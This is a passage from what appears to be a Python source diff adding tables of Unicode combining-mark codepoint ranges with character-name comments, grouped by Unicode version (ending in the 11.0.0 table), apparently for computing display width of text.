Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008d4, 0x008e1,), # Arabic Small High Word A..Arabic Small High Sign S + (0x008e3, 0x00902,), # Arabic Turned Damma Belo..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00afa, 0x00aff,), # Gujarati Sign Sukun ..Gujarati Sign Two-circle + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c00, 0x00c00,), # Telugu Sign Combining Ca..Telugu Sign Combining Ca + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00c81, 0x00c81,), # Kannada Sign Candrabindu..Kannada Sign Candrabindu + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d00, 0x00d01,), # Malayalam Sign Combining..Malayalam Sign Candrabin + (0x00d3b, 0x00d3c,), # Malayalam Sign Vertical ..Malayalam Sign Circular + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x01885, 0x01886,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a1b, 0x01a1b,), # Buginese Vowel Sign Ae ..Buginese Vowel Sign Ae + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01ab0, 0x01abe,), # Combining Doubled Circum..Combining Parentheses Ov + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bad,), # Sundanese Sign Virama ..Sundanese Consonant Sign + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01cf8, 0x01cf9,), # Vedic Tone Ring Above ..Vedic Tone Double Ring A + (0x01dc0, 0x01df9,), # Combining Dotted Grave A..Combining Wide Inverted + (0x01dfb, 0x01dff,), # Combining Deletion Mark ..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69e, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c5,), # Saurashtra Sign Virama ..Saurashtra Sign Candrabi + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0a9e5, 0x0a9e5,), # Myanmar Sign Shan Saw ..Myanmar Sign Shan Saw + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa7c, 0x0aa7c,), # Myanmar Sign Tai Laing T..Myanmar Sign Tai Laing T + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe2f,), # Combining Ligature Left ..Combining Cyrillic Titlo + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x102e0, 0x102e0,), # Coptic Epact Thousands M..Coptic Epact Thousands M + (0x10376, 0x1037a,), # Combining Old Permic Let..Combining Old Permic Let + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x10ae5, 0x10ae6,), # Manichaean Abbreviation ..Manichaean Abbreviation + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x1107f, 0x11081,), # Brahmi Number Joiner ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11173, 0x11173,), # Mahajani Sign Nukta ..Mahajani Sign Nukta + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x111ca, 0x111cc,), # Sharada Sign Nukta ..Sharada Extra Short Vowe + (0x1122f, 0x11231,), # Khojki Vowel Sign U ..Khojki Vowel Sign Ai + (0x11234, 0x11234,), # Khojki Sign Anusvara ..Khojki Sign Anusvara + (0x11236, 0x11237,), # Khojki Sign Nukta ..Khojki Sign Shadda + (0x1123e, 0x1123e,), # Khojki Sign Sukun ..Khojki Sign Sukun + (0x112df, 0x112df,), # Khudawadi Sign Anusvara ..Khudawadi Sign Anusvara + (0x112e3, 0x112ea,), # Khudawadi Vowel Sign U ..Khudawadi Sign Virama + (0x11300, 0x11301,), # Grantha Sign Combining A..Grantha Sign Candrabindu + (0x1133c, 0x1133c,), # Grantha Sign Nukta ..Grantha Sign Nukta + (0x11340, 0x11340,), # Grantha Vowel Sign Ii ..Grantha Vowel Sign Ii + (0x11366, 0x1136c,), # Combining Grantha Digit ..Combining Grantha Digit + (0x11370, 0x11374,), # Combining Grantha Letter..Combining Grantha Letter + (0x11438, 0x1143f,), # Newa Vowel Sign U ..Newa Vowel Sign Ai + (0x11442, 0x11444,), # Newa Sign Virama ..Newa Sign Anusvara + (0x11446, 0x11446,), # Newa Sign Nukta ..Newa Sign Nukta + (0x114b3, 0x114b8,), # Tirhuta Vowel Sign U ..Tirhuta Vowel Sign Vocal + (0x114ba, 0x114ba,), # Tirhuta Vowel Sign Short..Tirhuta Vowel Sign Short + (0x114bf, 0x114c0,), # Tirhuta Sign Candrabindu..Tirhuta Sign Anusvara + (0x114c2, 0x114c3,), # Tirhuta Sign Virama ..Tirhuta Sign Nukta + (0x115b2, 0x115b5,), # Siddham Vowel Sign U ..Siddham Vowel Sign Vocal + (0x115bc, 0x115bd,), # Siddham Sign Candrabindu..Siddham Sign Anusvara + (0x115bf, 0x115c0,), # Siddham Sign Virama ..Siddham Sign Nukta + (0x115dc, 0x115dd,), # Siddham Vowel Sign Alter..Siddham Vowel Sign Alter + (0x11633, 0x1163a,), # Modi Vowel Sign U ..Modi Vowel Sign Ai + (0x1163d, 0x1163d,), # Modi Sign Anusvara ..Modi Sign Anusvara + (0x1163f, 0x11640,), # Modi Sign Virama ..Modi Sign Ardhacandra + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x1171d, 0x1171f,), # Ahom Consonant Sign Medi..Ahom Consonant Sign Medi + (0x11722, 0x11725,), # Ahom Vowel Sign I ..Ahom Vowel Sign Uu + (0x11727, 0x1172b,), # Ahom Vowel Sign Aw ..Ahom Sign Killer + (0x11a01, 0x11a06,), # Zanabazar Square Vowel S..Zanabazar Square Vowel S + (0x11a09, 0x11a0a,), # Zanabazar Square Vowel S..Zanabazar Square Vowel L + (0x11a33, 0x11a38,), # Zanabazar Square Final C..Zanabazar Square Sign An + (0x11a3b, 0x11a3e,), # Zanabazar Square Cluster..Zanabazar Square Cluster + (0x11a47, 0x11a47,), # Zanabazar Square Subjoin..Zanabazar Square Subjoin + (0x11a51, 0x11a56,), # Soyombo Vowel Sign I ..Soyombo Vowel Sign Oe + (0x11a59, 0x11a5b,), # Soyombo Vowel Sign Vocal..Soyombo Vowel Length Mar + (0x11a8a, 0x11a96,), # Soyombo Final Consonant ..Soyombo Sign Anusvara + (0x11a98, 0x11a99,), # Soyombo Gemination Mark ..Soyombo Subjoiner + (0x11c30, 0x11c36,), # Bhaiksuki Vowel Sign I ..Bhaiksuki Vowel Sign Voc + (0x11c38, 0x11c3d,), # Bhaiksuki Vowel Sign E ..Bhaiksuki Sign Anusvara + (0x11c3f, 0x11c3f,), # Bhaiksuki Sign Virama ..Bhaiksuki Sign Virama + (0x11c92, 0x11ca7,), # Marchen Subjoined Letter..Marchen Subjoined Letter + (0x11caa, 0x11cb0,), # Marchen Subjoined Letter..Marchen Vowel Sign Aa + (0x11cb2, 0x11cb3,), # Marchen Vowel Sign U ..Marchen Vowel Sign E + (0x11cb5, 0x11cb6,), # Marchen Sign Anusvara ..Marchen Sign Candrabindu + (0x11d31, 0x11d36,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3a, 0x11d3a,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3c, 0x11d3d,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3f, 0x11d45,), # Masaram Gondi Vowel Sign..Masaram Gondi Virama + (0x11d47, 0x11d47,), # Masaram Gondi Ra-kara ..Masaram Gondi Ra-kara + (0x16af0, 0x16af4,), # Bassa Vah Combining High..Bassa Vah Combining High + (0x16b30, 0x16b36,), # Pahawh Hmong Mark Cim Tu..Pahawh Hmong Mark Cim Ta + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1bc9d, 0x1bc9e,), # Duployan Thick Letter Se..Duployan Double Mark + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0x1da00, 0x1da36,), # Signwriting Head Rim ..Signwriting Air Sucking + (0x1da3b, 0x1da6c,), # Signwriting Mouth Closed..Signwriting Excitement + (0x1da75, 0x1da75,), # Signwriting Upper Body T..Signwriting Upper Body T + (0x1da84, 0x1da84,), # Signwriting Location Hea..Signwriting Location Hea + (0x1da9b, 0x1da9f,), # Signwriting Fill Modifie..Signwriting Fill Modifie + (0x1daa1, 0x1daaf,), # Signwriting Rotation Mod..Signwriting Rotation Mod + (0x1e000, 0x1e006,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e008, 0x1e018,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e01b, 0x1e021,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e023, 0x1e024,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e026, 0x1e02a,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e8d0, 0x1e8d6,), # Mende Kikakui Combining ..Mende Kikakui Combining + (0x1e944, 0x1e94a,), # Adlam Alif Lengthener ..Adlam Nukta + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '11.0.0': ( + # Source: DerivedGeneralCategory-11.0.0.txt + # Date: 2018-02-21, 05:34:04 GMT + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x007fd, 0x007fd,), # Nko Dantayalan ..Nko Dantayalan + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008d3, 0x008e1,), # Arabic Small Low Waw ..Arabic Small High Sign S + (0x008e3, 0x00902,), # Arabic Turned Damma Belo..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x009fe, 0x009fe,), # Bengali Sandhi Mark ..Bengali Sandhi Mark + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat 